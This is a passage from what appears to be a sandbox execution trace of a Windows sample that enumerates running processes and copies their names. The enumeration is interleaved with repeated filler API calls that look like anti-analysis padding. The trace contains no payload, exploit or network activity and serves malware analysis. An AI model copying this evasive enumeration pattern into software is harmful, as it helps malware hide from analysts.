param_2="%X%P" | out: param_1="6EFB6DP") returned 7 [0070.984] SetLastError (dwErrCode=0x0) [0070.984] GetCurrentProcessId () returned 0x81c [0070.984] GetCurrentProcessId () returned 0x81c [0070.985] GetLastError () returned 0x0 [0070.985] wsprintfA (in: param_1=0x2f1f80b, param_2="%X%P" | out: param_1="6EFB6EP") returned 7 [0070.985] SetLastError (dwErrCode=0x0) [0070.985] GetCurrentProcessId () returned 0x81c [0070.985] lstrcpyW (in: lpString1=0x33e634c, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0070.985] GetCurrentProcessId () returned 0x81c [0070.985] GetCurrentProcessId () returned 0x81c [0070.985] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.985] GetCurrentProcessId () returned 0x81c [0070.985] lstrlenA (lpString="just string") returned 11 [0070.985] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.985] GetCurrentProcessId () returned 0x81c [0070.985] GetLastError () returned 0x0 [0070.985] lstrcpyW (in: lpString1=0x33e6574, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0070.985] GetCurrentProcessId () returned 0x81c [0070.985] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.986] GetCurrentProcessId () returned 0x81c [0070.986] lstrlenA (lpString="just string") returned 11 [0070.986] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.986] GetCurrentProcessId () returned 0x81c [0070.986] GetLastError () returned 0x0 [0070.986] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.987] GetCurrentProcessId () returned 0x81c [0070.987] lstrlenA (lpString="just string") returned 11 [0070.987] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.987] GetCurrentProcessId () returned 0x81c [0070.987] GetLastError () returned 0x0 [0070.987] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.987] GetLastError () returned 0x0 [0070.987] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0070.987] SetLastError (dwErrCode=0x0) [0070.987] GetCurrentProcess () returned 0xffffffff [0070.987] GetLastError () returned 0x0 [0070.987] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFC0CP") returned 7 [0070.987] SetLastError (dwErrCode=0x0) [0070.987] GetCurrentProcessId () returned 0x81c [0070.987] GetCurrentProcess () returned 0xffffffff [0070.987] GetLastError () returned 0x0 [0070.987] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6EFC0DP") returned 7 [0070.987] SetLastError (dwErrCode=0x0) [0070.987] GetCurrentProcessId () returned 0x81c [0070.987] GetCurrentProcessId () returned 0x81c [0070.987] GetLastError () returned 0x0 [0070.987] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6EFC0EP") returned 7 [0070.987] SetLastError (dwErrCode=0x0) [0070.987] GetCurrentProcessId () returned 0x81c [0070.988] GetCurrentProcessId () returned 0x81c [0070.988] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.988] GetCurrentProcessId () returned 0x81c [0070.988] GetCurrentProcessId () returned 0x81c [0070.988] GetCurrentProcessId () returned 0x81c [0070.988] lstrlenA (lpString="just string") returned 11 [0070.988] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.988] GetLastError () returned 0x0 [0070.988] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0070.989] GetCurrentProcessId () returned 0x81c [0070.989] GetLastError () returned 0x0 [0070.989] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0070.989] SetLastError (dwErrCode=0x0) [0070.989] GetCurrentProcess () returned 0xffffffff [0070.989] GetLastError () returned 0x0 [0070.989] wsprintfA (in: param_1=0x2f1f80b, param_2="%X%P" | out: param_1="6EFC84P") returned 7 [0070.989] SetLastError (dwErrCode=0x0) [0070.989] GetCurrentProcessId () returned 0x81c [0070.989] lstrcpyW (in: lpString1=0x33e679c, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0070.989] GetCurrentProcess () returned 0xffffffff [0070.989] GetLastError () returned 0x0 [0070.989] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6EFC85P") returned 7 [0070.989] SetLastError (dwErrCode=0x0) [0070.989] GetCurrentProcessId () returned 0x81c [0070.989] GetLastError () returned 0x0 [0070.989] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFC86P") returned 7 [0070.989] SetLastError (dwErrCode=0x0) [0070.989] GetCurrentProcessId () returned 0x81c [0070.989] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.990] GetCurrentProcessId () returned 0x81c [0070.990] GetCurrentProcessId () returned 0x81c [0070.990] GetCurrentProcessId () returned 0x81c [0070.990] GetCurrentProcessId () returned 0x81c [0070.990] lstrlenA (lpString="just string") returned 11 [0070.990] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.990] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.991] GetLastError () returned 0x0 [0070.991] GetCurrentProcessId () returned 0x81c [0070.991] GetCurrentProcessId () returned 0x81c [0070.991] GetCurrentProcessId () returned 0x81c [0070.991] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0070.992] lstrlenA (lpString="just string") returned 11 [0070.992] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.992] GetLastError () returned 0x0 [0070.992] GetCurrentProcessId () returned 0x81c [0070.992] lstrcpyW (in: lpString1=0x33e69c4, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0070.992] GetCurrentProcessId () returned 0x81c [0070.992] GetCurrentProcessId () returned 0x81c [0070.992] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.992] lstrlenA (lpString="just string") returned 11 [0070.992] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.992] GetLastError () returned 0x0 [0070.992] GetCurrentProcessId () returned 0x81c [0070.992] GetLastError () returned 0x0 [0070.992] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0070.992] SetLastError (dwErrCode=0x0) [0070.992] GetCurrentProcess () returned 0xffffffff [0070.992] GetLastError () returned 0x0 [0070.992] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFCB6P") returned 7 [0070.992] SetLastError (dwErrCode=0x0) [0070.993] GetCurrentProcessId () returned 0x81c [0070.993] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0070.993] GetCurrentProcess () returned 0xffffffff [0070.993] GetLastError () returned 0x0 [0070.993] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFCB7P") returned 7 [0070.993] SetLastError (dwErrCode=0x0) [0070.993] GetCurrentProcessId () returned 0x81c [0070.993] GetLastError () returned 0x0 [0070.993] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6EFCB8P") returned 7 [0070.993] SetLastError (dwErrCode=0x0) [0070.993] GetCurrentProcessId () returned 0x81c [0070.993] GetCurrentProcessId () returned 0x81c [0070.993] GetCurrentProcessId () returned 0x81c [0070.993] lstrcpyW (in: lpString1=0x33e6bec, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0070.993] GetCurrentProcessId () returned 0x81c [0070.993] GetCurrentProcessId () returned 0x81c [0070.993] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.994] lstrlenA (lpString="just string") returned 11 [0070.994] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.994] GetLastError () returned 0x0 [0070.994] GetCurrentProcessId () returned 0x81c [0070.994] lstrcpyW (in: lpString1=0x33e6e14, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0070.994] GetCurrentProcess () returned 0xffffffff [0070.994] GetLastError () returned 0x0 [0070.994] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6EFCF3P") returned 7 [0070.994] SetLastError (dwErrCode=0x0) [0070.994] GetCurrentProcessId () returned 0x81c [0070.994] GetLastError () returned 0x0 [0070.994] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFCF4P") returned 7 [0070.994] SetLastError (dwErrCode=0x0) [0070.994] GetCurrentProcessId () returned 0x81c [0070.994] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x314, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0070.995] GetCurrentProcessId () returned 0x81c [0070.995] GetCurrentProcessId () returned 0x81c [0070.995] GetCurrentProcessId () returned 0x81c [0070.995] GetCurrentProcessId () returned 0x81c [0070.995] lstrcpyW (in: lpString1=0x33e703c, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0070.995] lstrlenA (lpString="just string") returned 11 [0070.995] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.995] GetLastError () returned 0x0 [0070.995] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x544, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0070.995] GetCurrentProcessId () returned 0x81c [0070.995] GetCurrentProcessId () returned 0x81c [0070.995] lstrcpyW (in: lpString1=0x33e7264, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0070.995] GetCurrentProcessId () returned 0x81c [0070.995] GetCurrentProcessId () returned 0x81c [0070.995] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0070.996] lstrlenA (lpString="just string") returned 11 [0070.996] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.996] GetLastError () returned 0x0 [0070.996] GetCurrentProcessId () returned 0x81c [0070.996] lstrcpyW (in: lpString1=0x33e748c, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0070.996] GetCurrentProcessId () returned 0x81c [0070.996] GetCurrentProcessId () returned 0x81c [0070.996] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0070.997] lstrlenA (lpString="just string") returned 11 [0070.997] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.997] GetLastError () returned 0x0 [0070.997] GetCurrentProcessId () returned 0x81c [0070.997] GetLastError () returned 0x0 [0070.997] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0070.997] GetLastError () returned 0x0 [0070.997] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6EFD8AP") returned 7 [0070.997] SetLastError (dwErrCode=0x0) [0070.997] GetCurrentProcessId () returned 0x81c [0070.997] GetCurrentProcessId () returned 0x81c [0070.997] GetCurrentProcessId () returned 0x81c [0070.998] lstrcpyW (in: lpString1=0x33e76b4, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0070.998] GetCurrentProcessId () returned 0x81c [0070.998] GetCurrentProcessId () returned 0x81c [0070.998] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x258, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.998] lstrlenA (lpString="just string") returned 11 [0070.998] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.998] GetLastError () returned 0x0 [0070.998] GetCurrentProcessId () returned 0x81c [0070.998] lstrcpyW (in: lpString1=0x40158c, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0070.998] GetLastError () returned 0x0 [0070.998] lstrcmpA (lpString1="G", lpString2="luck") returned -1 [0070.998] SetLastError (dwErrCode=0x0) [0070.998] GetCurrentProcess () returned 0xffffffff [0070.998] GetLastError () returned 0x0 [0070.998] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6EFDB0P") returned 7 [0070.998] SetLastError (dwErrCode=0x0) [0070.998] GetCurrentProcessId () returned 0x81c [0070.998] GetCurrentProcess () returned 0xffffffff [0070.998] GetLastError () returned 0x0 [0070.998] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFDB1P") returned 7 [0070.998] SetLastError (dwErrCode=0x0) [0070.998] GetCurrentProcessId () returned 0x81c [0070.998] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.999] GetLastError () returned 0x0 [0070.999] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFDB2P") returned 7 [0070.999] SetLastError (dwErrCode=0x0) [0070.999] GetCurrentProcessId () returned 0x81c [0070.999] GetCurrentProcessId () returned 0x81c [0070.999] GetCurrentProcessId () returned 0x81c [0070.999] GetCurrentProcessId () returned 0x81c [0070.999] GetCurrentProcessId () returned 0x81c [0070.999] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="turner_construction_solve_cialis.exe")) returned 1 [0071.000] lstrlenA (lpString="just string") returned 11 [0071.000] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.000] GetLastError () returned 0x0 [0071.000] GetCurrentProcessId () returned 0x81c [0071.000] lstrcpyW (in: lpString1=0x4017b4, lpString2="turner_construction_solve_cialis.exe" | out: lpString1="turner_construction_solve_cialis.exe") returned="turner_construction_solve_cialis.exe" [0071.000] lstrlenA (lpString="just string") returned 11 [0071.000] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.000] GetLastError () returned 0x0 [0071.000] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="efforts-extreme-quantity-reproductive.exe")) returned 1 [0071.000] GetLastError () returned 0x0 [0071.000] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6EFE0CP") returned 7 [0071.000] SetLastError (dwErrCode=0x0) [0071.000] GetCurrentProcessId () returned 0x81c [0071.000] GetCurrentProcessId () returned 0x81c [0071.000] GetCurrentProcessId () returned 0x81c [0071.001] lstrcpyW (in: lpString1=0x4019dc, lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="efforts-extreme-quantity-reproductive.exe") returned="efforts-extreme-quantity-reproductive.exe" [0071.001] GetCurrentProcessId () returned 0x81c [0071.001] GetCurrentProcessId () returned 0x81c [0071.001] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="los-talks-ooo-focusing.exe")) returned 1 [0071.001] lstrlenA (lpString="just string") returned 11 [0071.001] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.001] GetLastError () returned 0x0 [0071.001] GetCurrentProcessId () returned 0x81c [0071.001] lstrcpyW (in: lpString1=0x401c04, lpString2="los-talks-ooo-focusing.exe" | out: lpString1="los-talks-ooo-focusing.exe") returned="los-talks-ooo-focusing.exe" [0071.001] GetLastError () returned 0x0 [0071.001] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.001] SetLastError (dwErrCode=0x0) [0071.001] GetCurrentProcess () returned 0xffffffff [0071.001] GetLastError () returned 0x0 [0071.001] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6EFE50P") returned 7 [0071.001] SetLastError (dwErrCode=0x0) [0071.001] GetCurrentProcessId () returned 0x81c [0071.001] GetCurrentProcess () returned 0xffffffff [0071.001] GetLastError () returned 0x0 [0071.001] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFE51P") returned 7 [0071.001] SetLastError (dwErrCode=0x0) [0071.001] GetCurrentProcessId () returned 0x81c [0071.001] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="farehave.exe")) returned 1 [0071.002] GetLastError () returned 0x0 [0071.002] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFE52P") returned 7 [0071.002] SetLastError (dwErrCode=0x0) [0071.002] GetCurrentProcessId () returned 0x81c [0071.002] GetCurrentProcessId () returned 0x81c [0071.002] GetCurrentProcessId () returned 0x81c [0071.002] GetCurrentProcessId () returned 0x81c [0071.002] lstrcpyW (in: lpString1=0x401e2c, lpString2="farehave.exe" | out: lpString1="farehave.exe") returned="farehave.exe" [0071.002] GetCurrentProcessId () returned 0x81c [0071.002] lstrlenA (lpString="just string") returned 11 [0071.002] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.002] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ones_pork_tommy_lb.exe")) returned 1 [0071.003] GetLastError () returned 0x0 [0071.003] GetCurrentProcessId () returned 0x81c [0071.003] lstrcpyW (in: lpString1=0x402054, lpString2="ones_pork_tommy_lb.exe" | out: lpString1="ones_pork_tommy_lb.exe") returned="ones_pork_tommy_lb.exe" [0071.003] GetLastError () returned 0x0 [0071.003] lstrcmpA (lpString1="G", lpString2="luck") returned -1 [0071.003] SetLastError (dwErrCode=0x0) [0071.003] GetCurrentProcess () returned 0xffffffff [0071.003] GetLastError () returned 0x0 [0071.003] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6EFEBEP") returned 7 [0071.003] SetLastError (dwErrCode=0x0) [0071.003] GetCurrentProcessId () returned 0x81c [0071.003] GetCurrentProcess () returned 0xffffffff [0071.003] GetLastError () returned 0x0 [0071.003] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFEBFP") returned 7 [0071.003] SetLastError (dwErrCode=0x0) [0071.003] GetCurrentProcessId () returned 0x81c [0071.003] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="thumbnailsopen.exe")) returned 1 [0071.004] GetLastError () returned 0x0 [0071.004] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFEC0P") returned 7 [0071.004] SetLastError (dwErrCode=0x0) [0071.004] GetCurrentProcessId () returned 0x81c [0071.004] GetCurrentProcessId () returned 0x81c [0071.004] GetCurrentProcessId () returned 0x81c [0071.004] GetCurrentProcessId () returned 0x81c [0071.004] lstrcpyW (in: lpString1=0x40227c, lpString2="thumbnailsopen.exe" | out: lpString1="thumbnailsopen.exe") returned="thumbnailsopen.exe" [0071.004] GetCurrentProcessId () returned 0x81c [0071.004] lstrlenA (lpString="just string") returned 11 [0071.004] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.004] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="characters appointed birthday finally.exe")) returned 1 [0071.004] GetLastError () returned 0x0 [0071.004] GetCurrentProcessId () returned 0x81c [0071.004] GetCurrentProcessId () returned 0x81c [0071.005] lstrcpyW (in: lpString1=0x4024a4, lpString2="characters appointed birthday finally.exe" | out: lpString1="characters appointed birthday finally.exe") returned="characters appointed birthday finally.exe" [0071.005] GetCurrentProcessId () returned 0x81c [0071.005] lstrlenA (lpString="just string") returned 11 [0071.005] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.005] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ausarrivedrepresentative.exe")) returned 1 [0071.005] GetLastError () returned 0x0 [0071.005] GetCurrentProcessId () returned 0x81c [0071.005] GetCurrentProcessId () returned 0x81c [0071.005] lstrcpyW (in: lpString1=0x4026cc, lpString2="ausarrivedrepresentative.exe" | out: lpString1="ausarrivedrepresentative.exe") returned="ausarrivedrepresentative.exe" [0071.005] GetCurrentProcessId () returned 0x81c [0071.005] GetCurrentProcessId () returned 0x81c [0071.005] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="routing.exe")) returned 1 [0071.006] lstrlenA (lpString="just string") returned 11 [0071.006] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.006] GetLastError () returned 0x0 [0071.006] GetCurrentProcessId () returned 0x81c [0071.006] lstrcpyW (in: lpString1=0x4028f4, lpString2="routing.exe" | out: lpString1="routing.exe") returned="routing.exe" [0071.006] GetLastError () returned 0x0 [0071.006] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="cliff-filter.exe")) returned 1 [0071.006] GetCurrentProcess () returned 0xffffffff [0071.007] GetLastError () returned 0x0 [0071.007] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFF55P") returned 7 [0071.007] SetLastError (dwErrCode=0x0) [0071.007] GetCurrentProcessId () returned 0x81c [0071.007] GetLastError () returned 0x0 [0071.007] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6EFF56P") returned 7 [0071.007] SetLastError (dwErrCode=0x0) [0071.007] GetCurrentProcessId () returned 0x81c [0071.007] GetCurrentProcessId () returned 0x81c [0071.007] GetCurrentProcessId () returned 0x81c [0071.007] lstrcpyW (in: lpString1=0x402b1c, lpString2="cliff-filter.exe" | out: lpString1="cliff-filter.exe") returned="cliff-filter.exe" [0071.007] GetCurrentProcessId () returned 0x81c [0071.007] GetCurrentProcessId () returned 0x81c [0071.007] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0071.007] lstrlenA (lpString="just string") returned 11 [0071.007] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.007] GetLastError () returned 0x0 [0071.007] GetCurrentProcessId () returned 0x81c [0071.007] lstrcpyW (in: lpString1=0x402d44, lpString2="canvas.exe" | out: lpString1="canvas.exe") returned="canvas.exe" [0071.007] GetLastError () returned 0x0 [0071.007] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="cookie_cumulative_bennett_horse.exe")) returned 1 [0071.008] 